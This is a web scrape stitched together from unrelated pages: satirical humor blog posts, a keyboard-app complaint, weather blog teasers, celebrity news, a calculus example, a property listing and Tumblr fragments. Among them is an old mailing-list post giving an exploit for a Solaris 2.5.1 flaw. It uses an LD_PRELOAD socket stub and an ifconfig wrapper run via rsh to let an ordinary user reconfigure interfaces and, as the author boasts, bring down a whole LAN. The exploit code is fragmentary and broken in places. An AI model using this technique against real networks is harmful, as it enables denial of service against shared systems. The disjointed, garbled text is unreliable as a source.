eISSN: 1423-0135 (Online)
For additional information: http://www.karger.com/JVR


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Older white men are super smart. They know so many things and hold really powerful jobs. So, if they think women shouldn't have access to safe and reliable reproductive care then we should probably listen to them. I mean, they must be smarter than us titbags because they usually make more money than women for doing the exact same jobs. I can't think of any other explanation.
(Leading experts on the female reproductive system)
If you think about it, a 60 year-old white man is the perfect person to come up with laws on access to reproductive health care. They have the most unbiased opinion of vaginas out of anyone – because they don't HAVE them!!! They've never had a period (yuck!) and they've probably never even seen or heard their wives' vaginas. To them, a vagina is just a smelly gateway for the son who they can eventually emotionally abuse and pass on their alcoholism to.
Also, these men probably have a LOT of hot silver-fox friends that would benefit from these anti-abortion laws being passed. Should we really expect these lawmakers to turn down campaign donations from their lobbyist bros?? Um, how about you try turning down a free mani-pedi and then give me a call ;)
Who cares if over 70,000 women die every single year because they have unsafe abortions? A man would never partake in a scary, unsafe abortion because they're smarter than us. They know better than to be born with fallopian tubes – god what kind of a word is fallopian anyway?! Women are CRAZY!
But these old white guy's brains don't just stop there – they've also made the choice to make contraceptive health solely the women's responsibility. Besides condoms (which makes sex no feel good) and vasectomies (oweee my wee weeeeee!) there is nothing else out there for men to stop them from spreading that sweet seed. Compared to the 15-plus options that women have for birth control, including fun, little pink pills filled with hormones that taste like chocolate and even increase booby sizes! (cha-ching!)
It makes sense, why should guys have to be responsible for this kind of thing? It's our vagina and we need to be in charge of it…um, that is except if their sperm happens to come in contact with our egg, in our body, in which case it's totally up to an older white man to decide.
Reproductive services are also costing these guys a boatload in taxes! Why should a hard working white man have to pay for our reproductive health?? They need that extra money for Tommy Bahama shirts and front row seats to Jimmy Buffet concerts.
Maybe Rush Limbaugh was right, if they're paying for birth control pills, then they should get to see the sex!! That would be a new form of birth control in itself – Rush Limbaugh's sweaty, beady eyes watching you as you finally bang your work crush might turn you off from sex forever! Never mind the fact that without reproductive services Medicaid expenses would increase by 1.2 billion dollars a year. They're going to believe what they want to believe and that gives them the right to make heinous, slut-shaming comments. And I am not going to take their right to free speech away!
It's estimated that 43% of women will have an abortion before they turn 45 years old. That means that almost a QUARTER of our population will have an abortion in their lifetime – That is to say, if you're only counting the women as the ones who get the abortion. If you counted the dudes that, you know, actually jizzed their jam juice up in there and got them pregnant, that would make it HALF of our population. So pretty much half of America is going to hell for sure, then you can probably add on at least another 10% for people who sneeze on their hand and then touch you with it. And don't even get me started on the gays… We'll be here all night, which i believe is what gays call the time of day that they dance shirtless.
Regardless of your silly beliefs, I hope you can see why it's so important to have these Viagra-loving, soft-tummied, older, white men make these important decisions about our bodies. I mean, I have trouble picking out what shoes to wear from day to day - I don't need MORE heavy decisions on my plate… besides, I'm not doing carbs right now anyway.
Written by: Whitney Teubner and Barbara Gray (@babsgray)
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The holidays are here. Yayyyyy. And that means holiday parties. Joyous, food-filled, awkward-conversation-having, booze-fueled, ex-boyfriend-seeing, holiday parties. And that also means those dreaded six words are lurking around every corner:
First of all, I don't mean to sound ungrateful. I love being invited to these parties. They're currently one of the only reasons I get out of bed and turn off my television that's continuously playing TLC's 19 Kids and Counting. Which should tell you a little bit about "what I've been up to." But this question has to die.
There are many forms of this question:
"What's been going on?"
"How's everything gong for you lately?"
"How are things?"
But they basically all translate to: "TELL ME A VAGUE RESPONSE THAT SUMS UP EVERYTHING THAT'S HAPPENED TO YOU IN THE LAST FEW MONTHS." It's a simple question that somehow shakes us to our core as social individuals.
Now, I bet some of you are thinking, "Just because your life sucks and you still sleep with a baby blanket doesn't mean the rest of us don't mind talking about our lives!" But what they don't understand is that my blanket keeps monsters away. Regardless, whether or not things are going terrible or awesome in our lives, it shouldn't be the first thing we ask someone after not seeing them for a while. I mean, if things are going shitty for me, I don't want to depress the poor old co-worker or mild acquaintance I'm talking to. And if things are going really well for me, I don't like to rub it in Ryan Gosling's face while he's pathetically trying to hit on me! I mean, come on, work on your abs a little!
It's a stock question that we've made up as a culture to perpetuate small-talk and to take the responsibility off of us in social situations. It's the easy way out and a lazy question, right behind "Can you get me a pizza, Mom?" You exemplify just enough social etiquette to keep things on a surface level, but you don't use any effort to find a common topic with the goal of eventually getting to know one another better. This behavior is reserved for one place and one place only: your gynecologist's office.
But this is real life, not my gynecologist's office (But how cool would that be if it was?). We should be doing more than just skating by with enough empty questions to keep on someone's good side. Ask me about my day! Or my outfit! Or how on Earth Michele Duggar has popped 19 kids out of her body!! ANYTHING other than, "What have you been up to?" Because as soon as you ask me that question, my mind races through my internal rolodex, feels bad about what I'm not doing, and then makes up some fluff answer about how things are going "great" and "really moving forward." And it brings me no steps closer in getting to know you or having a fun and interesting conversation. It keeps us on the surface and I don't want to have that type of relationship with you. I want to be best friends FOREVER.
Now, it's obvious that I am a crazy person. We can all agree on that. And by "we" I mean the voices in my head. But this has seriously been on my mind lately! Along with: gummy bears, multiple flavored popcorn tins, and Michele Duggars deflated beach ball of a body. Seriously, it probably looks like Sylvester Stallone's face.
Maybe I just don't know normal social cues and I fall somewhere on the Autism spectrum. Or maybe I'm a genius, like Rain Man. Either way, I wont be asking anyone I know "what they've been up to" any time soon. I might ask you about your hair or if you think Ryan Gosling and I would make a cute couple (after he works on his abs, of course), or who your gynecologist is, because mine is amazing and I'm a competitive person.
Anyway, I hope everyone that reads this blog (mom) has a really great time this winter celebrating whatever it is that you celebrate. I hope you can be around friends, family, and love. This will be my last post until after the New Year and I just wanted to say how much it means to me that people I know and love actually like reading this silly little thing.
And just incase you were wondering, I'm doing great and things are really moving forward for me.
A couple weeks ago I walked outside to find a crack in my car's windshield. I was so freaking happy. Not only was this going to cost me a lot of money, but it would also take time out of my life. And because I only make about a million dollars writing this blog every week, I had to dip into my savings to pay for this new windshield. I don't like using the trendy hashtag "#blessed," but if there was ever a chance to use it now would be the time.
So, I ended up buying a Groupon for the windshield, because that's where my life's at right now. I was $200 in the hole for literally doing nothing except being an amazing person and role model to young children. I was about to go get a burrito and eat my feelings away, when I got to thinking about ways that I could save money. Maybe running out to Del Taco, to Silverlake Coffee, or to grab a drink every time I felt like it was the reason I had to repair my windshield using a coupon.
So, I made a plan. For one week I was going to curb my frivolous spending. I wouldn't spend any money on things that I didn't absolutely need. I was like a mountain woman about to climb Mt. Everest with a baby on her back. Except this would be much harder and I'd need an extra pair of underwear.
After one week I ended up saving $67 dollars. Now, that might not seem like much to my high-roller, soul mate, best friend- I'm looking at you P. Diddy. But just to put it in perspective: if I did this for an entire year I would save $3,500. That's like 17 windshields! Or a million tacos from Taco Bell! I've never been great at math so I'm not sure what else to say right now!!
And it's not like I was even doing anything. I was basically just not being a gluttonous toad. Not buying everything I wanted, anytime I wanted it. Aren't I so great?
Here's a breakdown of things that I didn't "indulge" on:
I want to say that I'm not embarrassed by this list, but then I'd be lying. And liars are bad people, like NFL stars and politicians. I AM embarrassed about this list. About how I can't park a block away from yoga for free and save $1.50 a week or $78 a year. JUST FOR NOT WANTING TO WALK. NAMASTE.
I'm embarrassed that it's a challenge for me to go out to a bar with friends and be okay sitting there and talking, without clinging to a drink to quell my insecurities.
But then I got to thinking some more (I know, a lot of thinking going on inside this beautiful blonde head of mine), having a hotdog at Costco, or buying the newest Lady Gaga song makes me happy. I like having part of my income being able to go to more "disposable" things. So if I have to allot $3,500 *gulp* a year for my happiness, then so be it!
I have a savings account; I donate money to Planned Parenthood (and so should you); why can't I also have a little fun sometimes? And just because "having fun" to me means advent calendars, ice cream, and Subway sandwiches, that doesn't make me a monster. It just makes me a really sad person. Sad like the magazines tell me Jennifer Aniston is. Or sad like this guy:
But alas, it was a fun experiment. And my car is doing fine with it's new windshield. And me? Well, I'm just happy and healthy and #blessed.
It happened about a month ago. My boyfriend and I sat down to discuss our impending anniversary trip. A cold shiver went down my spine as he suggested that we "get out of town." This could only mean one thing: we would have to leave Los Angeles. Leave the air quality, the people, and the traffic… Lets just say that I didn't handle the news well.
After 13 glasses of wine I calmed down and obliged (I also drunk dialed my mom, but that's a different story).
We decided to travel up to Big Sur for two nights and three days. 72 hours away from my lovely freeway onramp of a town. I can't tell you how many times I sat awake that month wondering if I had made the right decision.
Then, without warning, the day we planned finally came. We packed up my white 2010 Prius. Such a trendy car in city of meth angels but, would it be accepted once we crossed county lines? I didn't know. There was no way of knowing.
We set off on the 101. After about an hour I no longer recognized the freeway that I had once spent 2 wonderful hours on to go 10 miles. There was fresh air, ocean views, and the worst part? No dudes in convertibles swerving by me and cutting me off.
As we headed further north my emotions went south. I was going through possible exit plans when we pulled into our destination.
I took a nice long look at my Hades away from home, or the Treebones Resort as the foreigners liked to call it, and slowly my "exit" plans turned into "suicide" plans.
As the sun went down that first night the terror set in. Was I really expected to stay here? Where were the noises I was used to hearing at night? The helicopters overhead that put me to sleep like a lullaby? Where were the buildings and lights? The views I was used to seeing that put me to ease.
Now I had to deal with this:
The way the ocean waves crashed on the shore below and how the twinkling stars lit up the night sky made my stomach ache for my own full sized bed with my own moderately priced Ikea sheets. That is until I woke up the next morning to this:
I unzipped the tent, took one look at the view, and then I knew I was in trouble. All I could do now was shake hands with the devil and hope he liked my racially sensitive jokes.
We made our way up to the lodge (yes, the lodge) and here's how I ate my breakfast:
Not in my lap as I'm swerving through traffic to make it to work on time or at a stuffy, trendy brunch spot where I had to wait 45 minutes to get a table. Like THAT. With an ocean view perched on top of some chair made out of wood, eating all organic food. Where were the faux-vintage leather arm chairs and the waitress who had a cooler hair cut than anyone I knew?
This was all becoming too much. I had to retreat to my cell phone and check my various social media sites to relax and feel bad about myself given what all my peers were up to. Then, something truly horrible happened. I. HAD. NO. SERVICE.
At this point the situation I was in almost became laughable. But, I mean, I've been through much harder things than this. One time I woke up for a yoga class at 6:30 in the morning.
I could handle this. If there was one thing LA taught me it was that I was a nobody and this nobody wasn't going to take Big Sur lying down. So I grabbed my book and went to the beach to lie down and read for a few hours.
Maybe it was something in the sea air but later on that day, things really took a turn for the worse… my boyfriend and I started enjoying each other's company. And not in a way that I was used to in LA, we didn't take a seminar on tantric sex or rush out to see the newest movie that you had to see in IMAX or else you were a garbage couple, we just relaxed together and talked and joked. It was overwhelming to say the least.
As night fell on our last evening in Big Sur I couldn't help but feel changed. I was like a small town girl who had gotten out. You see, you have to leave your comfort zone every once in a while to truly know how good you have it.
So, thank you, Big Sur. You were like a book I had to read but, that was also filled with garbage. Basically, I hate garbage, but you can learn a lot from it.
As we got back into Los Angeles the following morning I couldn't help but feel at ease as I slammed on my breaks to let a dude with awful hair plugs pass me in his Beamer. He had places to go…
And now I did too.
I have a confession to make. I'm in love. Obsessed. Addicted. Super cool - WHATEVER YOU WANT TO CALL ME. I love television. I have ever since it became my babysitter when I was a kid. That little box in my living room was my buddy, my best friend. And I don't even care if you feel sorry for me because I know how super cool I truly am for it.
Ever since the invention of Netflix my life has slowly gotten more amazing. This is not a brag but, I can spend a whole day on the couch watching episode after episode of a show. Friends? Boyfriend? Work? Human interaction? Creative fulfillment? NOT FOR ME! I'm fine bettering my life away.
I even created a new term for my addiction, sort of like a metaphorical tissue for my metaphorical tears. I call them my "creative absorption" days. On one of these days you might find me in bed, on the couch or some combination of the two. Just absorbing television. It's truly an enriching experience.
You know the feeling of when you first fall in love? You can't wait to be around the other person? You find excuses to call them? Your mind is constantly racing with thoughts of them?
Now times that by 10 and that's how I feel when I find a new show to binge watch.
First it was Mad Men. It was like a lover who introduced me to history, good whiskey, and dark downtown bars. I'll never forget those nights and days on the couch learning about Don and feeling sorry for Peggy and Joan. I even got to relive the 60's! For the first time!
Then there was Breaking Bad, what a wild crazy ride that turned out to be. Have you ever had a one night stand with a tatted up drug dealer in the back of an alleyway? Well, I have. And his name was Breaking Bad.
Then Friday Night Lights fell into my lap unexpectedly. I went on a soul journey with that show. I packed my bags and moved out to Texas for the summer. That show turned this city girl into a strong willed, deep hearted, country dame. Go East Dillion!
And The Wire? Don't even get me started. That show taught me patience, made me think outside the box, and opened my eyes to the politics that plague our nation.
Just get past season two and clear out your schedule for the next month. TRUST ME.
But don't get me wrong. It wasn't all ice cream and puppies. Although, I did consume a ton of ice cream. There were some bad shows too…
Dawson's Creek? I'm sorry but Katie Holmes is like if diarrhea became an actress. And that show is LONG and I watched the whole thing. Also, Netflix didn't get the rights to Paula Cole's "I don't want to Wait" so the theme song is different. Buzz. Kill.
Then there's Lost. I am honestly so mad at this show still that I don't even think it deserves my time to write about it. This show took time out of my life that I will never get back.
I'm currently infatuated with the show Parenthood. It's like if Friday Night Lights and my childhood had a baby. Literally nothing sounds as good as watching episode after episode alone in my room. I find myself weighing out social obligations to see if they're worth getting up from my Parenthood black-hole. The sound of Parenthood's end credits literally makes me sad because I know that another episode is coming to an end and I will have to make the tough decision to either keep watching or I don't know, GO OUT AND LIVE MY LIFE? Yuck.
But, alas, I make the same mistake every time. I pace myself like Elvis at a Vegas buffet filled with prescription drugs and isolate myself from the world for a month while I'm busing inhaling a T.V. show. Then, when it's over I don't know what to do with myself. I fall into a depression and have to actually go out and see people to get out of it. It's awful.
But then, just when I think I've had enough dinner parties, brunches and family gatherings to kill myself with I get that feeling again. Maybe someone mentions "this great new show I need to check out," or I stumble upon a new "recently added" hit show on my Netflix list and I'M BACK. I get that feeling again and I'm hooked.
Some might call me pathetic. Say that I'm the problem with America. But I could care less because Uncle Adam? Don? Jesse? Coach Taylor? McNulty? They get me. And it doesn't matter if anyone else ever does.
We've all seen those lists online. And no, I am NOT talking about ones like this: 26 Costumes That Prove Pugs Always Win At Halloween.
Those lists are sent from baby Jesus to take our minds off of our everyday depressing lives.
I'm talking about those lists that are like mirrors that not only point out what you haven't done with your life but also show you pictures of better looking, more in shape women with much better hair talking to your boyfriend.
So I'm making my own list. You might just want to start calling me Craig or Schindler from here on out. Wait, I don't know if that makes me racist. I've never actually seen that movie. On second thought, why don't you just call me Whitney, okay? Or Whit if we've been friends for a while and we have that kind of relationship where you feel like we've known each other long enough to give each other nicknames. You know?
Anyway, here are my, "Top Three Reasons that Top ____ Lists," are bullshit:
1) They put time limits on things.
I already freak out all day everyday about how I'm not fulfilling my potential and how my career isn't exactly where I want it to be. I don't need a list filled with a bunch of pictures with people having the time of their life to tell me what else I haven't done and that time is running out to do.
And what if I go to Bali and swim with sea sharks when I'm 31? Is it null and void?
2) They can create unhealthy competition between women.
This might be my biggest hate of all. First they write news articles like this Vanity Fair gem: "Why Women Aren't Funny," to make us all feel so wonderful about ourselves THEN they make these types of lists to let us know that, okay, women can be funny BUT only 25 at a time, little lady.
It's never been a more weird time to be a lady in comedy. Yes, there is SO much opportunity out there BUT we're also still tied to this awful, outdated idea that we're not even fully supposed to be here in the first place.
Also, I'm bombarded daily with pictures of beautiful women in their 50's who have better bodies than I will ever have (I'm looking at you Cindy Crawford). I don't need to be told by a bunch of dudes who work at some online magazine and smoke weed in their cars on their lunch breaks that the craft I've turned to as solace from the evil world is still not gonna welcome me because I didn't make the list.
3) People don't realize that one year you're hot, the next you're not.
I want to get "ebb and flow" tattooed across my forehead (or "Baby Jesus was a Pug" haven't decided yet). Because that's what you need to remember when you read one of these lists that you're not on. The Sherminator is a waiter at a sushi restaurant now!!!
Sometimes great things happen to you, like finding the PERFECT pair of heeled booties. And sometimes bad things happen, like ordering them online a half size too big. NOT THAT I WOULD KNOW.
The important thing to do is just keep your head down and…
Who knows? Maybe I'm the asshole (which is usually the case). Or maybe I'm the one who can't be happy for other people and wait my turn (which is always the case). But what these lists do, is they exclude. And I've never been a fan of people who exclude others. I've spent way too many years trying to "fit in" like that time I wanted to dye my hair red too:
I've found it better to "fit out" and be okay with that than trying to fit in and never being okay with it.
I almost got into a fight this weekend with a woman who was texting during a screening of Little Mermaid 3D. I think in terms of toughness it goes me then the Crips gang.
Here's what happened: Saturday night my boyfriend and I had a date night. BECAUSE WE HAVE A HEALTHY RELATIONSHIP AND LOVE EACH OTHER. We had tickets to the 7:30pm screening of Little Mermaid 3D at the El Capitan Theater in Hollywood, like normal 27 and 28 year-olds do.
We sat second row center - and before you go judging us there was a man in his 70's sitting alone right next to us. So we weren't the weirdest people there. However, I did imagine that he was one of the original animators on the film who went for nostalgia purposes so I didn't have to feel as bad for him. I wonder what he imagined we were there for?
The El Capitan is amazing because they always put on a live pre-show. Again, perfect place to take your 28-year-old boy-man-lover. During our pre-show a lot of people took out their phones to take pictures - including a mom, who we'll call Ursula, and her 8 year-old-ish daughter who came strolling in half way through the pre-show and sat down right in front of us.
My boyfriend, who we'll call Prince Eric, took out his phone to snap a pic of the show but I warned him to put it away just because I wasn't sure about the theaters policy on filming their shows. JUST TO BE SAFE. Like when both of my roommates are out of town and I check under their beds to make sure there's not a murderer there waiting until I go to sleep to kill me. Totally normal.
When the movie started I was so excited. Just like how a child would be excited at say, a screening of The Little Mermaid 3D. But, as soon as the lights went down Ursula took out her phone and snapped a picture of her little girl watching the movie. "Okay, that's a stretching it," I thought. But I didn't really think twice about it.
It wasn't until Ursula immediately got onto Instagram to post the picture and presumably brag to her friends about what a good mom she was for taking her kid to the movies, that I sort of lost it. Prince Eric and I looked at each other and debated what to do about Ursula. We still said nothing. Then after about 5 minutes of her STRAIGHT UP BEING ON HER PHONE we broke. "Should we tell the usher?" I asked. We decided that would be the annoying thing to do so Prince Eric gently tapped her on her shoulder and asked if she wouldn't mind putting her phone away because it was ruining the movie for us.
Now, most normal people would simply realize their mistake and maybe even think to themselves, "Hey, I brought my kid to this movie, why don't I actually watch it with them so we can have a meaningful experience together instead of looking at my friends lives on the internet while I bother everyone else in this theater." But not Ursula, she was pissed.
"It's really affecting you watching the movie?" she barked at us. "UM YEAH, your light omitting devise two feet in front of my face IS affecting the movie for me," is what I wanted to say but Prince Eric graciously replied, "Yeah, actually it is, sorry." Then she gave us a look like we had asked her to stop breastfeeding in public, turned around, and put her 'tentacles' back on her phone, I presume just to spite us, and then eventually put it away. I could feel her hate fueled tension seeping back at us. Just like that one time I unfolded one too many shirts at The Gap in front of the sales lady.
After about 5 minutes passed, Prince Eric and I were eating our snacks, enjoying the movie when Ursula glared back at us and said, "Um, if you guys are going to be mad at me for using my phone can you please chew with your mouth closed because it's really disturbing the movie for me." We both laughed. Was she f-ing joking? This really sent me over the edge and I sternly told her, "Listen lady, it's against the rules to use your cell phone in here. You are breaking the rules. We are not." At this point there was so much anger boiling up inside of me that I felt like King Triton after he found Ariel's stash of human things.
Who are these people that think they are entitled to break rules that everyone else is suppose to follow? I mean, who did she think she was, a professional athlete?
And then I realized that a lot of people agree with her. Just like this person who was recently kicked out of the Alamo Draft House in Austin for breaking their very strict no talking or texting rule.
See, I come from a group of moviegoers who believe that you go to a movie theater for viewing experience. (We like to call ourselves the "Cool Movie Guyz," we're getting matching jackets next month. Check us out on myspace.com/coolmovieguyz)
When you're in a movie your behavior- texting, talking, etc- affects the other people involved in the movie going experience as well. Some people forget that this is everyone's experience, not just theirs.
We ended up moving because this woman was obviously very misinformed on movie theater etiquette and just seemed like an all around loose cannon. About half way into the movie I got up to use the restroom and on my way back I spotted Ursula still on her cell phone while her poor daughter watched the movie all alone. Poor woman, even poorer little girl. Why couldn't her mom just want to be… part of her world?


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I've used SwiftKey as my keyboard for months on my S3 without any problems but since the latest update SwiftKey keeps crashing. The keyboard remains open after I quit messaging apps forcing me to restart my phone.
I have been using the original Samsung keyboard but it's not the same!
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Bored of downing interfaces, ever wondered what else you could do with the
year old Solaris hole. Well since I've seen no great sign of life from Sun
lets do a little bit of demonstrating
Firstly you want this little bit of code for Solaris 2.5.1
cc haccident.c -c
int socket(int fa, int type, int proto)
return 0;
mv haccident ~myusername
cat >~myusername/myfconfig
export LD_PRELOAD=$HOME/haccident.o
ifconfig $*
chmod 755 myfconfig
Now you can do "rsh localhost ./myfconfig whatever" to do ifconfig commands
as an ordinary user. Ok so its simple boring single host denial of service.
Well actually its not...
Its amazing the fun that occurs if you add every host on your class C
network to the lan for example. Over the next 10 to 15 minutes your entire
lan collapses into a heap. All you need is one user account on one solaris
2.5.x box and the entire network is a sitting duck. The user doesn't even
need to break to root, just any old shell account and blam....
So where's the fix Sun ?
[Not vulnerable: Linux/Sparc, NetBSD/Sparc, OpenBSD/Sparc, SunOS,
Solaris 2.5(apparently), Solaris 2.6]
Many thanks to Sun for failing to fix a bug for a year and giving me a
great chance to give these programs to everyone considering buying Solaris
boxes I can find, and also to Jeff Uphoff and Dave Miller for various bits
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First Snowflakes Of Season Possible This Weekend
You've likely heard about the possibility of snow for the weekend. The snow in the forecast is due to a complex storm system moving up the coast and then into eastern Canada. The track of this storm will be far enough east so the bulk of the heavy rain and snow will fall over the ocean or parts of Nova Scotia. The storm is going to eventually develop into a […]CONTINUE READING
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How Fear Can Cloud The Way We Think About Climate Change, Ebola, & Other Issues
Do you think there is more or less fear in your life than there has been in previous years? I ask the question because it feels to me (not scientific of course) there is more fear in people's lives than there has been in the past. If you manage money or work in a field having anything to do with Wall Street, then you likely have heard of the fear […]Continue Reading
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Heavy Rain & Wind Continue Into The Afternoon
While it was certainly windy throughout southern Maine overnight, it was a bigger deal to our south. Over southern New England the nor'easter raged overnight with heavy rain, wind, thunder and lightning. The power went out in multiple communities and is still out for hundreds of people, mostly around Boston. Flooding has been an issue on many roads. The major band of rain continues to shift further north and west […]Continue Reading
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Flood Watch Posted As Heavy Rain Moves Into Region
While we have seen some significant rain the past 24 hours, more is still on the way. Elements of rain continue to push inland from the ocean this evening and will only become more widespread during the next few hours. The map below shows how much rain has fallen in the past 24 hours. Notice extreme southern Maine has not had much at all. If this was a winter nor'easter […]Continue Reading
Tuesday Oct 21, 2014 | 12:08 pm
Long Duration Coastal Storm Brings Several Days Of Rain
Someone tweeted me a question yesterday asking if the media was hyping the storm or we really were getting a nor'easter. The answer to the first part of the question is probably, (depending the media source) on yes to the second part. A nor'easter is simply a low pressure area that moves up along the eastern seaboard bringing with it northeasterly winds. You could also say winds come from the […]Continue Reading
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Freezing Conditions Tonight, With Rain & Wind Later This Week
The party is over as they say. Our stretch of mild and sunny weather is coming to a screeching halt and after the chill sets in, clouds and rain will follow. Temperatures have been falling all night and are now (8AM) at their chilliest readings of the day. Sorry to be the bearer of bad news, but even with the rain of a few days ago, parts of the areas […]Continue Reading
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A strong southerly flow of pure tropical air will bring showers to Maine today and some of them could contain some pretty heavy rain. There's a lot of transition about to take place in the atmosphere and as I look into next week I see another chance of a cold rain, perhaps even the first flakes of snow in the higher elevations of the mountains. This will be followed by […]Continue Reading
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Columbus Day Weekend Looking Typical For Mid-October
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It's James Bond Day (Again)
You can always tell the precise moment when a big movie franchise goes completely off the rails. It's never subtle. When George Clooney showed up with nipples on his Batsuit, it was all over. Or when Rocky settled the cold war. Or when Superman established world peace. Once Hannibal Lecter cut off the top of Ray Liotta's head and fed him his own brains, was there anything left to say? (Besides "eww.")
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"Shame" - October 4th
Robbie Williams and Gary Barlow's upcoming single, "Shame" will be released on October 4th.
Robbie Williams and Gary Barlow's upcoming single, "Shame" will be released on October 4th.
Some good news now for Take That fans - it's rumoured that the lads are planning a huge summer show next year. Take That's management are said to have met with the owners of the City of Manchester Stadium with a view to booking three nights next June. Gary Barlow has admitted his regret at not…
The Take That singer, 39, is plotting the trip in spring 2012 for BBC Sport Relief - and is already roping in loads of celebs to join him.
Pals reckon it could take up to a week for him and his team, helped by Arctic experts, to get there.
Gary led nine stars including Cheryl Tweedy up Mount Kilimanjaro for last year's Comic Relief.
A source said: "Gary loves a challenge, so as soon as he finished the Kilimanjaro trip he was working out what to do next. There was talk of climbing Everest but that's a seriously tough exercise.
"Getting to the North Pole is not exactly easier but it is more do-able and takes less time."
Gary is planning a recruitment drive later this year.
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Let f(x) = x2. Use the Mean Value Theorem to show that there's some value of c in (0,2) with f'(c) = 2.
f(x) is continuous on [0,2] and differentiable on (0,2). The Mean Value Theorem says there is some c in (0,2) for which f'(c) is equal to the slope of the secant line between (0,f(0) and (2,f(2)), which is
$$\frac{f(2)-f(0)}{2-0} = \frac{4-0}2 = 2.$$
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Situated on the 10th fairway of the Jack Nicklaus course, this fully-customized Mediterranean style home was completed in September 2007. Furnished to a high specification, the home is complete with expansive first and second floor entertainment areas - each offering views of the golf course, as well as a master suite, dining room, home office and three further large bedrooms. - 5,388 total square feet, 4056 under air - 4 Bedrooms, 3 full and 1 half bathroom - Stainless steel GE Monogram appliances -10' ceiling and 8' crown molding throughout -Master bathroom features marble vanity top, upgraded tile and roman spa jet tub, with his and her vanities and walk-in closets -Two separate first floor living areas . Living room and Leisure room . with stone fireplace and right angled sliding doors opening onto the covered patio area
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The Grim Adventures of Billy and Mandy?
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Excellent. Absolutely excellent, and the very best part, the part where he nailed it because I could never get past all the rest, is identifying that we need to ask questions about John, about what is going on with men.
I agree with the above statement, we need to start figuring out why men are hitting women, why are they raping women, and why a lot of them aren't taking responsibility in it. You can have all of these women self defense classes and shit to get people to learn how to defend themselves from these acts but until you attack this at the root it's just going to keep growing back.
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Fuck all the suicide hotlines and shit for a second.
Reblog this just in case; you never know who might need it.
where was this when my dog was dying ):
this could save a loved one.
i have done the Heimlich maneuver three times on my dog, im not going to lose her
give me the reasons not to reblog this.
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the stars are not in position
"You've already been up this road, kid…"
Look at these shitty new Pokemon. Ugh, get it together, Game Freak :/
I hope you're joking.
No, I'm not fucking joking. Miyamoto needs to realize that he's running out of ideas for the pokemon series and take the series back to it's roots.
what the fuck that blue one is literally a turtle colored blue how lazy can they get.
So the blue thing is a turtle, but the green one is also a turtle??
all three new starters are just turtles what The Fuck
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